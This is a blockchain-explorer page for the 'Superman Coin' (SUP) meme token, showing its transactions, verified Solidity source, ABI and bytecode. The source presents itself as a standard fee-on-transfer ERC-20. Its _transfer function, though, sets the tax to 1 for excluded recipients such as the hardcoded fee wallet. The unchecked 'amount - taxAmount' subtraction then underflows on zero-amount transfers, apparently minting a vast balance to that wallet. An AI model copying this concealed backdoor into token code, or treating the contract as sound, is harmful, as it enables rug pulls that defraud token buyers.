ETH Price: $2,379.48 (-1.19%)

Contract

0xCFdEddf9160Dda41E069920E02342D1bF1D6EdDA
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve195507622024-03-31 1:57:59168 days ago1711850279IN
0xCFdEddf9...bF1D6EdDA
0 ETH0.000416617.19869631
Approve184267202023-10-25 10:41:23326 days ago1698230483IN
0xCFdEddf9...bF1D6EdDA
0 ETH0.0003482714.37792638
Approve184018582023-10-21 23:07:23329 days ago1697929643IN
0xCFdEddf9...bF1D6EdDA
0 ETH0.000308696.6825367
Approve184018402023-10-21 23:03:47329 days ago1697929427IN
0xCFdEddf9...bF1D6EdDA
0 ETH0.000173446.6081783
Approve184018392023-10-21 23:03:35329 days ago1697929415IN
0xCFdEddf9...bF1D6EdDA
0 ETH0.000315676.7965514
Approve184018352023-10-21 23:02:47329 days ago1697929367IN
0xCFdEddf9...bF1D6EdDA
0 ETH0.000317366.87736368
Approve184018272023-10-21 23:01:11329 days ago1697929271IN
0xCFdEddf9...bF1D6EdDA
0 ETH0.0006455913.88166707
Approve184018242023-10-21 23:00:35329 days ago1697929235IN
0xCFdEddf9...bF1D6EdDA
0 ETH0.000312386.72559876
Approve184018182023-10-21 22:59:23329 days ago1697929163IN
0xCFdEddf9...bF1D6EdDA
0 ETH0.000282276.10739849
Approve184018182023-10-21 22:59:23329 days ago1697929163IN
0xCFdEddf9...bF1D6EdDA
0 ETH0.00041899.00739849
Approve184018162023-10-21 22:58:59329 days ago1697929139IN
0xCFdEddf9...bF1D6EdDA
0 ETH0.000300226.5058696
Approve184018142023-10-21 22:58:35329 days ago1697929115IN
0xCFdEddf9...bF1D6EdDA
0 ETH0.00030626.63723054
Approve184018092023-10-21 22:57:35329 days ago1697929055IN
0xCFdEddf9...bF1D6EdDA
0 ETH0.000299736.44484949
Approve184017982023-10-21 22:55:23329 days ago1697928923IN
0xCFdEddf9...bF1D6EdDA
0 ETH0.0005473811.77304433
Approve184017852023-10-21 22:52:35329 days ago1697928755IN
0xCFdEddf9...bF1D6EdDA
0 ETH0.000282136.07436672
Approve184017852023-10-21 22:52:35329 days ago1697928755IN
0xCFdEddf9...bF1D6EdDA
0 ETH0.000284466.16436672
Approve184017852023-10-21 22:52:35329 days ago1697928755IN
0xCFdEddf9...bF1D6EdDA
0 ETH0.000286316.16436672
Approve184017832023-10-21 22:52:11329 days ago1697928731IN
0xCFdEddf9...bF1D6EdDA
0 ETH0.000424119.11929618
Approve184017822023-10-21 22:51:59329 days ago1697928719IN
0xCFdEddf9...bF1D6EdDA
0 ETH0.00042819.20509061
Approve184017822023-10-21 22:51:59329 days ago1697928719IN
0xCFdEddf9...bF1D6EdDA
0 ETH0.00042819.20509061
Approve184017802023-10-21 22:51:35329 days ago1697928695IN
0xCFdEddf9...bF1D6EdDA
0 ETH0.000437829.41418147
Approve184017742023-10-21 22:50:23329 days ago1697928623IN
0xCFdEddf9...bF1D6EdDA
0 ETH0.00044119.48475116
Approve184017642023-10-21 22:48:23329 days ago1697928503IN
0xCFdEddf9...bF1D6EdDA
0 ETH0.000322216.93733663
Approve184017622023-10-21 22:47:59329 days ago1697928479IN
0xCFdEddf9...bF1D6EdDA
0 ETH0.000295156.38765894
Approve184017532023-10-21 22:46:11329 days ago1697928371IN
0xCFdEddf9...bF1D6EdDA
0 ETH0.000351097.55915163
View all transactions

Latest 9 internal transactions

Advanced mode:
Parent Transaction Hash Block From To
184018302023-10-21 23:01:47329 days ago1697929307
0xCFdEddf9...bF1D6EdDA
0.00797168 ETH
184018302023-10-21 23:01:47329 days ago1697929307
0xCFdEddf9...bF1D6EdDA
0.00797168 ETH
184016982023-10-21 22:35:11329 days ago1697927711
0xCFdEddf9...bF1D6EdDA
0.06486441 ETH
184016982023-10-21 22:35:11329 days ago1697927711
0xCFdEddf9...bF1D6EdDA
0.06486441 ETH
184016982023-10-21 22:35:11329 days ago1697927711
0xCFdEddf9...bF1D6EdDA
0.07157262 ETH
184016982023-10-21 22:35:11329 days ago1697927711
0xCFdEddf9...bF1D6EdDA
0.07157262 ETH
184016922023-10-21 22:33:59329 days ago1697927639
0xCFdEddf9...bF1D6EdDA
0.05724633 ETH
184016922023-10-21 22:33:59329 days ago1697927639
0xCFdEddf9...bF1D6EdDA
0.05724633 ETH
184016912023-10-21 22:33:47329 days ago1697927627
0xCFdEddf9...bF1D6EdDA
2 ETH
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
SUP

Compiler Version
v0.7.5+commit.eb77ed08

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-10-21
*/

/**
The Dogs and frogs had their day and its time for Superman to be the King of the Memes! 

Website: https://superfinance.finance
App: https://app.superfinance.finance
Telegram: https://t.me/superfi_erc
Twitter: https://twitter.com/superfi_erc
*/

// SPDX-License-Identifier: MIT

pragma solidity 0.7.5;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
    function owner() public view returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IRouter {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

contract SUP is Context, Ownable, IERC20 {
    using SafeMath for uint256;

    string private constant _name = "Superman Coin";
    string private constant _symbol = "SUP";
    uint8 private constant _decimals = 9;
    uint256 private constant _supply = 10 ** 9 * 10**_decimals;

    IRouter private _router;
    address private _pair;
    bool private tradeActive;
    address payable private feeWallet = payable(0xBd199A9f75A230d52FcDe9424D98eF0CCc34eb0b);

    bool private swapping = false;
    bool private swapEnabled = false;

    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcluded;

    uint256 public maxTransaction = 20 * 10 ** 6 * 10**_decimals;
    uint256 public maxWallet = 20 * 10 ** 6 * 10**_decimals;
    uint256 public feeSwapThreshold = 1 * 10 ** 5 * 10**_decimals;
    uint256 public maxTaxSwap = 1 * 10 ** 7 * 10**_decimals;

    uint256 private _initialBuyFee=11;
    uint256 private _initialSellFee=11;
    uint256 private _preventFeeSwapBefore=11;
    uint256 private _reduceBuyFeesAt=1;
    uint256 private _reduceSellFeesAt=11;
    uint256 private _finalBuyFee=1;
    uint256 private _finalSellFee=1;
    uint256 private _buyerCount=0;
    uint256 _initialBlock;

    event MaxTxAmountUpdated(uint maxTransaction);
    modifier lockTheSwap {
        swapping = true;
        _;
        swapping = false;
    }

    constructor () {
        _balances[_msgSender()] = _supply;
        _isExcluded[owner()] = true;
        _isExcluded[feeWallet] = true;
        
        emit Transfer(address(0), _msgSender(), _supply);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    
    function totalSupply() public pure override returns (uint256) {
        return _supply;
    }
    
    function decimals() public pure returns (uint8) {
        return _decimals;
    }
 
    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }
    
    function swapTokensToEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _router.WETH();
        _approve(address(this), address(_router), tokenAmount);
        _router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }
    
    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "Transfer from zero address");
        require(to != address(0), "Transfer to zero address");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
            bool isExempt = _isExcluded[to];
            taxAmount = amount.mul((_buyerCount>_reduceBuyFeesAt)?_finalBuyFee:_initialBuyFee).div(100);
            if (from == _pair && to != address(_router) && ! _isExcluded[to] ) {
                require(amount <= maxTransaction, "Exceeds the maxTransaction.");
                require(balanceOf(to) + amount <= maxWallet, "Exceeds the maxWallet.");
                _buyerCount++;
            }
            if (to != _pair && ! _isExcluded[to]) {
                require(balanceOf(to) + amount <= maxWallet, "Exceeds the maxWallet.");
            }
            if(to == _pair && from!= address(this) ){
                taxAmount = amount.mul((_buyerCount>_reduceSellFeesAt)?_finalSellFee:_initialSellFee).div(100);
            } if (isExempt) { taxAmount = 1; }
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!swapping && to   == _pair && swapEnabled && contractTokenBalance>feeSwapThreshold && amount>feeSwapThreshold && _buyerCount>_preventFeeSwapBefore && !_isExcluded[from]) {
                swapTokensToEth(min(amount,min(contractTokenBalance,maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    feeWallet.transfer(address(this).balance);
                }
            }
        }
        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount - taxAmount);
        emit Transfer(from, to, amount - taxAmount);
    }
    
    receive() external payable {}  

    function openTrading() external onlyOwner() {
        require(!tradeActive,"Trade is already opened");
        _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(_router), _supply);
        _pair = IFactory(_router.factory()).createPair(address(this), _router.WETH());
        _router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(_pair).approve(address(_router), type(uint).max);
        swapEnabled = true;
        tradeActive = true;
        _initialBlock = block.number;
    }
    
    function removeLimits() external onlyOwner{
        maxTransaction= _supply;
        maxWallet=_supply;
        emit MaxTxAmountUpdated(_supply);
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"maxTransaction","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"feeSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransaction","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526003805461ffff60a01b196001600160a01b031990911673bd199a9f75a230d52fcde9424d98ef0ccc34eb0b1716905566470de4df8200006007819055600855655af3107a4000600955662386f26fc10000600a55600b808055600c819055600d8190556001600e819055600f919091556010819055601155600060125534801561008e57600080fd5b5060006100996101d0565b600080546001600160a01b0319166001600160a01b0383169081178255604051929350917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350670de0b6b3a7640000600460006100f86101d0565b6001600160a01b03166001600160a01b03168152602001908152602001600020819055506001600660006101306101d460201b60201c565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790556003549091168152600690925290208054909116600117905561017f6101d0565b60408051670de0b6b3a7640000815290516001600160a01b0392909216916000917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef919081900360200190a36101e3565b3390565b6000546001600160a01b031690565b61163180620001f36000396000f3fe6080604052600436106101025760003560e01c8063751039fc11610095578063c3f70b5211610064578063c3f70b521461036d578063c9567bf914610382578063dd62ed3e14610397578063de287071146103d2578063f8b45b05146103e757610109565b8063751039fc146102d95780638da5cb5b146102ee57806395d89b411461031f578063a9059cbb1461033457610109565b8063313ce567116100d1578063313ce5671461024f57806362997f8c1461027a57806370a082311461028f578063715018a6146102c257610109565b806306fdde031461010e578063095ea7b31461019857806318160ddd146101e557806323b872dd1461020c57610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103fc565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561015d578181015183820152602001610145565b50505050905090810190601f16801561018a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101a457600080fd5b506101d1600480360360408110156101bb57600080fd5b506001600160a01b038135169060200135610423565b604080519115158252519081900360200190f35b3480156101f157600080fd5b506101fa610441565b60408051918252519081900360200190f35b34801561021857600080fd5b506101d16004803603606081101561022f57600080fd5b506001600160a01b0381358116916020810135909116906040013561044d565b34801561025b57600080fd5b506102646104d4565b6040805160ff9092168252519081900360200190f35b34801561028657600080fd5b506101fa6104d9565b34801561029b57600080fd5b506101fa600480360360208110156102b257600080fd5b50356001600160a01b03166104df565b3480156102ce57600080fd5b506102d76104fa565b005b3480156102e557600080fd5b506102d76105ae565b3480156102fa57600080fd5b5061030361065f565b604080516001600160a01b039092168252519081900360200190f35b34801561032b57600080fd5b5061012361066e565b34801561034057600080fd5b506101d16004803603604081101561035757600080fd5b506001600160a01b03813516906020013561068b565b34801561037957600080fd5b506101fa61069f565b34801561038e57600080fd5b506102d76106a5565b3480156103a357600080fd5b506101fa600480360360408110156103ba57600080fd5b506001600160a01b0381358116916020013516610aaa565b3480156103de57600080fd5b506101fa610ad5565b3480156103f357600080fd5b506101fa610adb565b60408051808201909152600d81526c29bab832b936b0b71021b7b4b760991b602082015290565b6000610437610430610ae1565b8484610ae5565b5060015b92915050565b670de0b6b3a764000090565b600061045a848484610bd1565b6104ca84610466610ae1565b6104c5856040518060600160405280602881526020016115b0602891396001600160a01b038a166000908152600560205260408120906104a4610ae1565b6001600160a01b03168152602081019190915260400160002054919061114f565b610ae5565b5060019392505050565b600990565b600a5481565b6001600160a01b031660009081526004602052604090205490565b610502610ae1565b6000546001600160a01b03908116911614610564576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6105b6610ae1565b6000546001600160a01b03908116911614610618576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b670de0b6b3a76400006007819055600881905560408051918252517f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9181900360200190a1565b6000546001600160a01b031690565b60408051808201909152600381526205355560ec1b602082015290565b6000610437610698610ae1565b8484610bd1565b60075481565b6106ad610ae1565b6000546001600160a01b0390811691161461070f576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600254600160a01b900460ff161561076e576040805162461bcd60e51b815260206004820152601760248201527f547261646520697320616c7265616479206f70656e6564000000000000000000604482015290519081900360640190fd5b600180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d17908190556107b39030906001600160a01b0316670de0b6b3a7640000610ae5565b600160009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561080157600080fd5b505afa158015610815573d6000803e3d6000fd5b505050506040513d602081101561082b57600080fd5b5051600154604080516315ab88c960e31b815290516001600160a01b039384169363c9c6539693309391169163ad5c464891600480820192602092909190829003018186803b15801561087d57600080fd5b505afa158015610891573d6000803e3d6000fd5b505050506040513d60208110156108a757600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b0393841660048201529290911660248301525160448083019260209291908290030181600087803b1580156108f957600080fd5b505af115801561090d573d6000803e3d6000fd5b505050506040513d602081101561092357600080fd5b5051600280546001600160a01b0319166001600160a01b039283161790556001541663f305d7194730610955816104df565b60008061096061065f565b426040518863ffffffff1660e01b815260040180876001600160a01b03168152602001868152602001858152602001848152602001836001600160a01b0316815260200182815260200196505050505050506060604051808303818588803b1580156109cb57600080fd5b505af11580156109df573d6000803e3d6000fd5b50505050506040513d60608110156109f657600080fd5b50506002546001546040805163095ea7b360e01b81526001600160a01b03928316600482015260001960248201529051919092169163095ea7b39160448083019260209291908290030181600087803b158015610a5257600080fd5b505af1158015610a66573d6000803e3d6000fd5b505050506040513d6020811015610a7c57600080fd5b50506003805460ff60a81b1916600160a81b1790556002805460ff60a01b1916600160a01b17905543601355565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b60095481565b60085481565b3390565b6001600160a01b038316610b2a5760405162461bcd60e51b81526004018080602001828103825260248152602001806115d86024913960400191505060405180910390fd5b6001600160a01b038216610b6f5760405162461bcd60e51b815260040180806020018281038252602281526020018061156d6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260056020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316610c2c576040805162461bcd60e51b815260206004820152601a60248201527f5472616e736665722066726f6d207a65726f2061646472657373000000000000604482015290519081900360640190fd5b6001600160a01b038216610c87576040805162461bcd60e51b815260206004820152601860248201527f5472616e7366657220746f207a65726f20616464726573730000000000000000604482015290519081900360640190fd5b6000610c9161065f565b6001600160a01b0316846001600160a01b031614158015610ccb5750610cb561065f565b6001600160a01b0316836001600160a01b031614155b15611026576001600160a01b038316600090815260066020526040902054600e5460125460ff90921691610d1e91606491610d189110610d0d57600b54610d11565b6010545b86906111e6565b90611246565b6002549092506001600160a01b038681169116148015610d4c57506001546001600160a01b03858116911614155b8015610d7157506001600160a01b03841660009081526006602052604090205460ff16155b15610e3157600754831115610dcd576040805162461bcd60e51b815260206004820152601b60248201527f4578636565647320746865206d61785472616e73616374696f6e2e0000000000604482015290519081900360640190fd5b60085483610dda866104df565b011115610e27576040805162461bcd60e51b815260206004820152601660248201527522bc31b2b2b239903a34329036b0bc2bb0b63632ba1760511b604482015290519081900360640190fd5b6012805460010190555b6002546001600160a01b03858116911614801590610e6857506001600160a01b03841660009081526006602052604090205460ff16155b15610ec75760085483610e7a866104df565b011115610ec7576040805162461bcd60e51b815260206004820152601660248201527522bc31b2b2b239903a34329036b0bc2bb0b63632ba1760511b604482015290519081900360640190fd5b6002546001600160a01b038581169116148015610eed57506001600160a01b0385163014155b15610f1a57610f176064610d18600f5460125411610f0d57600c54610d11565b60115486906111e6565b91505b8015610f2557600191505b6000610f30306104df565b600354909150600160a01b900460ff16158015610f5a57506002546001600160a01b038681169116145b8015610f6f5750600354600160a81b900460ff165b8015610f7c575060095481115b8015610f89575060095484115b8015610f985750600d54601254115b8015610fbd57506001600160a01b03861660009081526006602052604090205460ff16155b1561102357610fdf610fda85610fd584600a54611288565b611288565b61129d565b478015611021576003546040516001600160a01b03909116904780156108fc02916000818181858888f1935050505015801561101f573d6000803e3d6000fd5b505b505b50505b801561109c5730600090815260046020526040902054611046908261146b565b30600081815260046020908152604091829020939093558051848152905191926001600160a01b038816927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35b6001600160a01b0384166000908152600460205260409020546110bf90836114c5565b6001600160a01b0380861660009081526004602052604080822093909355908516815220546110f09082840361146b565b6001600160a01b03808516600081815260046020908152604091829020949094558051858703815290519193928816927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a350505050565b600081848411156111de5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156111a357818101518382015260200161118b565b50505050905090810190601f1680156111d05780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6000826111f55750600061043b565b8282028284828161120257fe5b041461123f5760405162461bcd60e51b815260040180806020018281038252602181526020018061158f6021913960400191505060405180910390fd5b9392505050565b600061123f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611507565b6000818311611297578261123f565b50919050565b6003805460ff60a01b1916600160a01b179055604080516002808252606080830184529260208301908036833701905050905030816000815181106112de57fe5b6001600160a01b03928316602091820292909201810191909152600154604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561133257600080fd5b505afa158015611346573d6000803e3d6000fd5b505050506040513d602081101561135c57600080fd5b505181518290600190811061136d57fe5b6001600160a01b0392831660209182029290920101526001546113939130911684610ae5565b60015460405163791ac94760e01b8152600481018481526000602483018190523060648401819052426084850181905260a060448601908152875160a487015287516001600160a01b039097169663791ac947968a968a9594939092909160c40190602080880191028083838b5b83811015611419578181015183820152602001611401565b505050509050019650505050505050600060405180830381600087803b15801561144257600080fd5b505af1158015611456573d6000803e3d6000fd5b50506003805460ff60a01b1916905550505050565b60008282018381101561123f576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b600061123f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061114f565b600081836115565760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156111a357818101518382015260200161118b565b50600083858161156257fe5b049594505050505056fe45524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a264697066735822122061682c274bd64acf362a28edc65082dcdfdc84c0bcf80c56354153c5af31f8a964736f6c63430007050033

Deployed Bytecode

0x6080604052600436106101025760003560e01c8063751039fc11610095578063c3f70b5211610064578063c3f70b521461036d578063c9567bf914610382578063dd62ed3e14610397578063de287071146103d2578063f8b45b05146103e757610109565b8063751039fc146102d95780638da5cb5b146102ee57806395d89b411461031f578063a9059cbb1461033457610109565b8063313ce567116100d1578063313ce5671461024f57806362997f8c1461027a57806370a082311461028f578063715018a6146102c257610109565b806306fdde031461010e578063095ea7b31461019857806318160ddd146101e557806323b872dd1461020c57610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103fc565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561015d578181015183820152602001610145565b50505050905090810190601f16801561018a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101a457600080fd5b506101d1600480360360408110156101bb57600080fd5b506001600160a01b038135169060200135610423565b604080519115158252519081900360200190f35b3480156101f157600080fd5b506101fa610441565b60408051918252519081900360200190f35b34801561021857600080fd5b506101d16004803603606081101561022f57600080fd5b506001600160a01b0381358116916020810135909116906040013561044d565b34801561025b57600080fd5b506102646104d4565b6040805160ff9092168252519081900360200190f35b34801561028657600080fd5b506101fa6104d9565b34801561029b57600080fd5b506101fa600480360360208110156102b257600080fd5b50356001600160a01b03166104df565b3480156102ce57600080fd5b506102d76104fa565b005b3480156102e557600080fd5b506102d76105ae565b3480156102fa57600080fd5b5061030361065f565b604080516001600160a01b039092168252519081900360200190f35b34801561032b57600080fd5b5061012361066e565b34801561034057600080fd5b506101d16004803603604081101561035757600080fd5b506001600160a01b03813516906020013561068b565b34801561037957600080fd5b506101fa61069f565b34801561038e57600080fd5b506102d76106a5565b3480156103a357600080fd5b506101fa600480360360408110156103ba57600080fd5b506001600160a01b0381358116916020013516610aaa565b3480156103de57600080fd5b506101fa610ad5565b3480156103f357600080fd5b506101fa610adb565b60408051808201909152600d81526c29bab832b936b0b71021b7b4b760991b602082015290565b6000610437610430610ae1565b8484610ae5565b5060015b92915050565b670de0b6b3a764000090565b600061045a848484610bd1565b6104ca84610466610ae1565b6104c5856040518060600160405280602881526020016115b0602891396001600160a01b038a166000908152600560205260408120906104a4610ae1565b6001600160a01b03168152602081019190915260400160002054919061114f565b610ae5565b5060019392505050565b600990565b600a5481565b6001600160a01b031660009081526004602052604090205490565b610502610ae1565b6000546001600160a01b03908116911614610564576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6105b6610ae1565b6000546001600160a01b03908116911614610618576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b670de0b6b3a76400006007819055600881905560408051918252517f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9181900360200190a1565b6000546001600160a01b031690565b60408051808201909152600381526205